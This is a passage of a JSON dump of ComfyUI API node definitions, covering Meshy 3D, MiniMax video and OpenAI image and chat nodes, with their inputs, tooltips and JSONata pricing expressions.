"output_is_list": [false, false, false, false], "output_name": ["model_file", "rig_task_id", "GLB", "FBX"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "MeshyRigModelNode", "display_name": "Meshy: Rig Model", "description": "Provides a rigged character in standard formats. Auto-rigging is currently not suitable for untextured meshes, non-humanoid assets, or humanoid assets with unclear limb and body structure.", "python_module": "comfy_api_nodes.nodes_meshy", "category": "partner/3d/Meshy", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.2}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MeshyAnimateModelNode": {"input": {"required": {"rig_task_id": ["MESHY_RIGGED_TASK_ID", {}], "action_id": ["INT", {"tooltip": "Visit https://docs.meshy.ai/en/api/animation-library for a list of available values.", "default": 0, "min": 0, "max": 696}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["rig_task_id", "action_id"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "FILE_3D_GLB", "FILE_3D_FBX"], "output_is_list": [false, false, false], "output_name": ["model_file", "GLB", "FBX"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "MeshyAnimateModelNode", "display_name": "Meshy: Animate Model", "description": "Apply a specific animation action to a previously rigged character.", "python_module": "comfy_api_nodes.nodes_meshy", "category": "partner/3d/Meshy", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.12}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MeshyTextureNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["latest"]}], "meshy_task_id": ["MESHY_TASK_ID", {}], "enable_original_uv": ["BOOLEAN", {"tooltip": "Use the original UV of the model instead of generating new UVs. When enabled, Meshy preserves existing textures from the uploaded model. If the model has no original UV, the quality of the output might not be as good.", "advanced": true, "default": true}], "pbr": ["BOOLEAN", {"advanced": true, "default": false}], "text_style_prompt": ["STRING", {"tooltip": "Describe your desired texture style of the object using text. Maximum 600 characters.Maximum 600 characters. Cannot be used at the same time as 'image_style'.", "default": "", "multiline": true}]}, "optional": {"image_style": ["IMAGE", {"tooltip": "A 2d image to guide the texturing process. Can not be used at the same time with 'text_style_prompt'."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model", "meshy_task_id", "enable_original_uv", "pbr", "text_style_prompt"], "optional": ["image_style"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MODEL_TASK_ID", "FILE_3D_GLB", "FILE_3D_FBX"], "output_is_list": [false, false, false, false], "output_name": ["model_file", "meshy_task_id", "GLB", "FBX"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "MeshyTextureNode", "display_name": "Meshy: Texture Model", "description": "", "python_module": "comfy_api_nodes.nodes_meshy", "category": "partner/3d/Meshy", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MinimaxTextToVideoNode": {"input": {"required": {"prompt_text": ["STRING", {"tooltip": "Text prompt to guide the video generation", "default": "", "multiline": true}], "model": ["COMBO", {"tooltip": "Model to use for video generation", "default": "T2V-01", "multiselect": false, "options": ["T2V-01", "T2V-01-Director"]}]}, "optional": {"seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "step": 1, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt_text", "model"], "optional": ["seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "MinimaxTextToVideoNode", "display_name": "MiniMax Text to Video", "description": "Generates videos synchronously based on a prompt, and optional parameters.", "python_module": "comfy_api_nodes.nodes_minimax", "category": "partner/video/MiniMax", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.43}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MinimaxImageToVideoNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "Image to use as first frame of video generation"}], "prompt_text": ["STRING", {"tooltip": "Text prompt to guide the video generation", "default": "", "multiline": true}], "model": ["COMBO", {"tooltip": "Model to use for video generation", "default": "I2V-01", "multiselect": false, "options": ["I2V-01-Director", "I2V-01", "I2V-01-live"]}]}, "optional": {"seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "step": 1, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt_text", "model"], "optional": ["seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "MinimaxImageToVideoNode", "display_name": "MiniMax Image to Video", "description": "Generates videos synchronously based on an image and prompt, and optional parameters.", "python_module": "comfy_api_nodes.nodes_minimax", "category": "partner/video/MiniMax", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.43}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MinimaxHailuoVideoNode": {"input": {"required": {"prompt_text": ["STRING", {"tooltip": "Text prompt to guide the video generation.", "default": "", "multiline": true}]}, "optional": {"seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "step": 1, "control_after_generate": true}], "first_frame_image": ["IMAGE", {"tooltip": "Optional image to use as the first frame to generate a video."}], "prompt_optimizer": ["BOOLEAN", {"tooltip": "Optimize prompt to improve generation quality when needed.", "default": true}], "duration": ["COMBO", {"tooltip": "The length of the output video in seconds.", "default": 6, "multiselect": false, "options": [6, 10]}], "resolution": ["COMBO", {"tooltip": "The dimensions of the video display. 1080p is 1920x1080, 768p is 1366x768.", "default": "768P", "multiselect": false, "options": ["768P", "1080P"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt_text"], "optional": ["seed", "first_frame_image", "prompt_optimizer", "duration", "resolution"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "MinimaxHailuoVideoNode", "display_name": "MiniMax Hailuo Video", "description": "Generates videos from prompt, with optional start frame using the new MiniMax Hailuo-02 model.", "python_module": "comfy_api_nodes.nodes_minimax", "category": "partner/video/MiniMax", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "resolution", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\n \"768p\": {\"6\": 0.28, \"10\": 0.56},\n \"1080p\": {\"6\": 0.49}\n };\n $resPrices := $lookup($prices, $lowercase(widgets.resolution));\n $price := $lookup($resPrices, $string(widgets.duration));\n {\"type\":\"usd\",\"usd\": $price ? $price : 0.43}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OpenAIDalle2": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for DALL\u00b7E", "default": "", "multiline": true}]}, "optional": {"seed": ["INT", {"tooltip": "not implemented yet in backend", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "size": ["COMBO", {"tooltip": "Image size", "default": "1024x1024", "multiselect": false, "options": ["256x256", "512x512", "1024x1024"]}], "n": ["INT", {"tooltip": "How many images to generate", "default": 1, "min": 1, "max": 8, "step": 1, "display": "number"}], "image": ["IMAGE", {"tooltip": "Optional reference image for image editing."}], "mask": ["MASK", {"tooltip": "Optional mask for inpainting (white areas will be replaced)"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt"], "optional": ["seed", "size", "n", "image", "mask"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpenAIDalle2", "display_name": "OpenAI DALL\u00b7E 2", "description": "Generates images synchronously via OpenAI's DALL\u00b7E 2 endpoint.", "python_module": "comfy_api_nodes.nodes_openai", "category": "partner/image/OpenAI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "size", "type": "COMBO"}, {"name": "n", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $size := widgets.size;\n $nRaw := widgets.n;\n $n := ($nRaw != null and $nRaw != 0) ? $nRaw : 1;\n\n $base :=\n $contains($size, \"256x256\") ? 0.016 :\n $contains($size, \"512x512\") ? 0.018 :\n 0.02;\n\n {\"type\":\"usd\",\"usd\": $round($base * $n, 3)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OpenAIDalle3": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for DALL\u00b7E", "default": "", "multiline": true}]}, "optional": {"seed": ["INT", {"tooltip": "not implemented yet in backend", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "quality": ["COMBO", {"tooltip": "Image quality", "default": "standard", "multiselect": false, "options": ["standard", "hd"]}], "style": ["COMBO", {"tooltip": "Vivid causes the model to lean towards generating hyper-real and dramatic images. Natural causes the model to produce more natural, less hyper-real looking images.", "default": "natural", "multiselect": false, "options": ["natural", "vivid"]}], "size": ["COMBO", {"tooltip": "Image size", "default": "1024x1024", "multiselect": false, "options": ["1024x1024", "1024x1792", "1792x1024"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt"], "optional": ["seed", "quality", "style", "size"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpenAIDalle3", "display_name": "OpenAI DALL\u00b7E 3", "description": "Generates images synchronously via OpenAI's DALL\u00b7E 3 endpoint.", "python_module": "comfy_api_nodes.nodes_openai", "category": "partner/image/OpenAI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "size", "type": "COMBO"}, {"name": "quality", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $size := widgets.size;\n $q := widgets.quality;\n $hd := $contains($q, \"hd\");\n\n $price :=\n $contains($size, \"1024x1024\")\n ? ($hd ? 0.08 : 0.04)\n : (($contains($size, \"1792x1024\") or $contains($size, \"1024x1792\"))\n ? ($hd ? 0.12 : 0.08)\n : 0.04);\n\n {\"type\":\"usd\",\"usd\": $price}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OpenAIGPTImage1": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for GPT Image", "default": "", "multiline": true}]}, "optional": {"seed": ["INT", {"tooltip": "not implemented yet in backend", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "quality": ["COMBO", {"tooltip": "Image quality, affects cost and generation time.", "default": "low", "multiselect": false, "options": ["low", "medium", "high"]}], "background": ["COMBO", {"tooltip": "Return image with or without background", "default": "auto", "multiselect": false, "options": ["auto", "opaque", "transparent"]}], "size": ["COMBO", {"tooltip": "Image size. Select 'Custom' to use the custom width and height (GPT Image 2 only).", "default": "auto", "multiselect": false, "options": ["auto", "1024x1024", "1024x1536", "1536x1024", "2048x2048", "2048x1152", "1152x2048", "3840x2160", "2160x3840", "Custom"]}], "n": ["INT", {"tooltip": "How many images to generate", "default": 1, "min": 1, "max": 8, "step": 1, "display": "number"}], "image": ["IMAGE", {"tooltip": "Optional reference image for image editing."}], "mask": ["MASK", {"tooltip": "Optional mask for inpainting (white areas will be replaced)"}], "model": ["COMBO", {"default": "gpt-image-2", "multiselect": false, "options": ["gpt-image-1", "gpt-image-1.5", "gpt-image-2"]}], "custom_width": ["INT", {"tooltip": "Used only when `size` is 'Custom'. Must be a multiple of 16 (GPT Image 2 only).", "default": 1024, "min": 1024, "max": 3840, "step": 16}], "custom_height": ["INT", {"tooltip": "Used only when `size` is 'Custom'. Must be a multiple of 16 (GPT Image 2 only).", "default": 1024, "min": 1024, "max": 3840, "step": 16}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt"], "optional": ["seed", "quality", "background", "size", "n", "image", "mask", "model", "custom_width", "custom_height"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpenAIGPTImage1", "display_name": "OpenAI GPT Image 2", "description": "Generates images synchronously via OpenAI's GPT Image endpoint.", "python_module": "comfy_api_nodes.nodes_openai", "category": "partner/image/OpenAI", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "quality", "type": "COMBO"}, {"name": "n", "type": "INT"}, {"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $ranges := {\n \"gpt-image-1\": {\n \"low\": [0.011, 0.02],\n \"medium\": [0.042, 0.07],\n \"high\": [0.167, 0.25]\n },\n \"gpt-image-1.5\": {\n \"low\": [0.009, 0.02],\n \"medium\": [0.034, 0.062],\n \"high\": [0.133, 0.22]\n },\n \"gpt-image-2\": {\n \"low\": [0.0048, 0.019],\n \"medium\": [0.041, 0.168],\n \"high\": [0.165, 0.67]\n }\n };\n $range := $lookup($lookup($ranges, widgets.model), widgets.quality);\n $nRaw := widgets.n;\n $n := ($nRaw != null and $nRaw != 0) ? $nRaw : 1;\n ($n = 1)\n ? {\"type\":\"range_usd\",\"min_usd\": $range[0], \"max_usd\": $range[1], \"format\": {\"approximate\": true}}\n : {\n \"type\":\"range_usd\",\n \"min_usd\": $range[0] * $n,\n \"max_usd\": $range[1] * $n,\n \"format\": { \"suffix\": \"/Run\", \"approximate\": true }\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OpenAIGPTImageNodeV2": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for GPT Image", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "gpt-image-2", "inputs": {"required": {"size": ["COMBO", {"tooltip": "Image size. Select 'Custom' to use the custom width and height.", "default": "auto", "multiselect": false, "options": ["auto", "1024x1024", "1024x1536", "1536x1024", "2048x2048", "2048x1152", "1152x2048", "3840x2160", "2160x3840", "Custom"]}], "custom_width": ["INT", {"tooltip": "Used only when `size` is 'Custom'. Must be a multiple of 16.", "default": 1024, "min": 1024, "max": 3840, "step": 16}], "custom_height": ["INT", {"tooltip": "Used only when `size` is 'Custom'. Must be a multiple of 16.", "default": 1024, "min": 1024, "max": 3840, "step": 16}], "background": ["COMBO", {"tooltip": "Return image with or without background.", "default": "auto", "multiselect": false, "options": ["auto", "opaque"]}], "quality": ["COMBO", {"tooltip": "Image quality, affects cost and generation time.", "default": "low", "multiselect": false, "options": ["low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) for image editing. Up to 16 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16"], "min": 0}}]}, "optional": {"mask": ["MASK", {"tooltip": "Optional mask for inpainting (white areas will be replaced). Requires exactly one reference image."}]}}}, {"key": "gpt-image-1.5", "inputs": {"required": {"size": ["COMBO", {"tooltip": "Image size.", "default": "auto", "multiselect": false, "options": ["auto", "1024x1024", "1024x1536", "1536x1024"]}], "background": ["COMBO", {"tooltip": "Return image with or without background.", "default": "auto", "multiselect": false, "options": ["auto", "opaque", "transparent"]}], "quality": ["COMBO", {"tooltip": "Image quality, affects cost and generation time.", "default": "low", "multiselect": false, "options": ["low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) for image editing. Up to 16 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16"], "min": 0}}]}, "optional": {"mask": ["MASK", {"tooltip": "Optional mask for inpainting (white areas will be replaced). Requires exactly one reference image."}]}}}, {"key": "gpt-image-1", "inputs": {"required": {"size": ["COMBO", {"tooltip": "Image size.", "default": "auto", "multiselect": false, "options": ["auto", "1024x1024", "1024x1536", "1536x1024"]}], "background": ["COMBO", {"tooltip": "Return image with or without background.", "default": "auto", "multiselect": false, "options": ["auto", "opaque", "transparent"]}], "quality": ["COMBO", {"tooltip": "Image quality, affects cost and generation time.", "default": "low", "multiselect": false, "options": ["low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) for image editing. Up to 16 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16"], "min": 0}}]}, "optional": {"mask": ["MASK", {"tooltip": "Optional mask for inpainting (white areas will be replaced). Requires exactly one reference image."}]}}}]}], "n": ["INT", {"tooltip": "How many images to generate", "default": 1, "min": 1, "max": 8, "step": 1, "display": "number"}], "seed": ["INT", {"tooltip": "not implemented yet in backend", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "n", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpenAIGPTImageNodeV2", "display_name": "OpenAI GPT Image 2", "description": "Generates images via OpenAI's GPT Image endpoint.", "python_module": "comfy_api_nodes.nodes_openai", "category": "partner/image/OpenAI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.quality", "type": "COMBO"}, {"name": "n", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $ranges := {\n \"gpt-image-1\": {\n \"low\": [0.011, 0.02],\n \"medium\": [0.042, 0.07],\n \"high\": [0.167, 0.25]\n },\n \"gpt-image-1.5\": {\n \"low\": [0.009, 0.02],\n \"medium\": [0.034, 0.062],\n \"high\": [0.133, 0.22]\n },\n \"gpt-image-2\": {\n \"low\": [0.0048, 0.019],\n \"medium\": [0.041, 0.168],\n \"high\": [0.165, 0.67]\n }\n };\n $range := $lookup($lookup($ranges, widgets.model), $lookup(widgets, \"model.quality\"));\n $nRaw := widgets.n;\n $n := ($nRaw != null and $nRaw != 0) ? $nRaw : 1;\n ($n = 1)\n ? {\"type\":\"range_usd\",\"min_usd\": $range[0], \"max_usd\": $range[1], \"format\": {\"approximate\": true}}\n : {\n \"type\":\"range_usd\",\n \"min_usd\": $range[0] * $n,\n \"max_usd\": $range[1] * $n,\n \"format\": { \"suffix\": \"/Run\", \"approximate\": true }\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OpenAIChatNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text inputs to the model, used to generate a response.", "default": "", "multiline": true}], "persist_context": ["BOOLEAN", {"tooltip": "This parameter is deprecated and has no effect.", "advanced": true, "default": false}], "model": ["COMBO", {"tooltip": "The model used to generate the response", "multiselect": false, "options": ["gpt-5.5-pro", "gpt-5.5", "gpt-5", "gpt-5-mini", "gpt-5-nano", "gpt-4.1", "gpt-4.1-mini", "gpt-4.1-nano", "o4-mini", "o3", "o1-pro", "o1"]}]}, "optional": {"images": ["IMAGE", {"tooltip": "Optional image(s) to use as context for the model. To include multiple images, you can use the Batch Images node."}], "files": ["OPENAI_INPUT_FILES", {"tooltip": "Optional file(s) to use as context for the model. Accepts inputs from the OpenAI Chat Input Files node."}], "advanced_options": ["OPENAI_CHAT_CONFIG", {"tooltip": "Optional configuration for the model. Accepts inputs from the OpenAI Chat Advanced Options node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "persist_context", "model"], "optional": ["images", "files", "advanced_options"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpenAIChatNode", "display_name": "OpenAI ChatGPT", "description": "Generate text responses from an OpenAI model.", "python_module": "comfy_api_nodes.nodes_openai", "category": "partner/text/OpenAI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $contains($m, \"o4-mini\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.0011, 0.0044],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"o1-pro\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.15, 0.6],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"o1\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.015, 0.06],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"o3-mini\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.0011, 0.0044],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"o3\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.01, 0.04],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"gpt-4.1-nano\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.0001, 0.0004],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"gpt-4.1-mini\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.0004, 0.0016],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"gpt-4.1\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.002, 0.008],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"gpt-5.5-pro\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.03, 0.18],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"gpt-5.5\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.005, 0.03],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"gpt-5-nano\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.00005, 0.0004],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"gpt-5-mini\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.00025, 0.002],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"gpt-5\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.00125, 0.01],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : {\"type\": \"text\", \"text\": \"Token-based\"}\n )\n "}, "search_aliases": null, "essentials_category": "Text Generation", "has_intermediate_output": false}, "OpenAIInputFiles": {"input": {"required": {"file": ["COMBO", {"tooltip": "Input files to include as context for the model. Only accepts text (.txt) and PDF (.pdf) files for now.", "multiselect": false, "options": []}]}, "optional": {"OPENAI_INPUT_FILES": ["OPENAI_INPUT_FILES", {"tooltip": "An optional additional file(s) to batch together with the file loaded from this node. Allows chaining of input files so that a single message can include multiple input files."}]}}, "input_order": {"required": ["file"], "optional": ["OPENAI_INPUT_FILES"]}, "is_input_list": false, "output": ["OPENAI_INPUT_FILES"], "output_is_list": [false], "output_name": ["OPENAI_INPUT_FILES"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpenAIInputFiles", "display_name": "OpenAI ChatGPT Input Files", "description": "Loads and prepares input files (text, pdf, etc.) to include as inputs for the OpenAI Chat Node. The files will be read by the OpenAI model when generating a response. \ud83d\udec8 TIP: Can be chained together with other OpenAI Input File nodes.", "python_module": "comfy_api_nodes.nodes_openai", "category": "partner/text/OpenAI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OpenAIChatConfig": {"input": {"required": {"truncation": ["COMBO", {"tooltip": "The truncation strategy to use for the model response. auto: If the context of this response and previous ones exceeds the model's context window size, the model will truncate the response to fit the context window by dropping input items in the middle of the conversation.disabled: If a model response will exceed the context window size for a model, the request will fail with a 400 error", "advanced": true, "default": "auto", "multiselect": false, "options": ["auto", "disabled"]}]}, "optional": {"max_output_tokens": ["INT", {"tooltip": "An upper bound for the number of tokens that can be generated for a response, including visible output tokens", "advanced": true, "default": 4096, "min": 16, "max": 16384}], "instructions": ["STRING", {"tooltip": "Instructions for the model on how to generate the response", "multiline": true}]}}, "input_order": {"required": ["truncation"], "optional": ["max_output_tokens", "instructions"]}, "is_input_list": false, "output": ["OPENAI_CHAT_CONFIG"], "output_is_list": [false], "output_name": ["OPENAI_CHAT_CONFIG"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpenAIChatConfig", "display_name": "OpenAI ChatGPT Advanced Options", "description": "Allows specifying advanced configuration options for the OpenAI Chat Nodes.", "python_module": 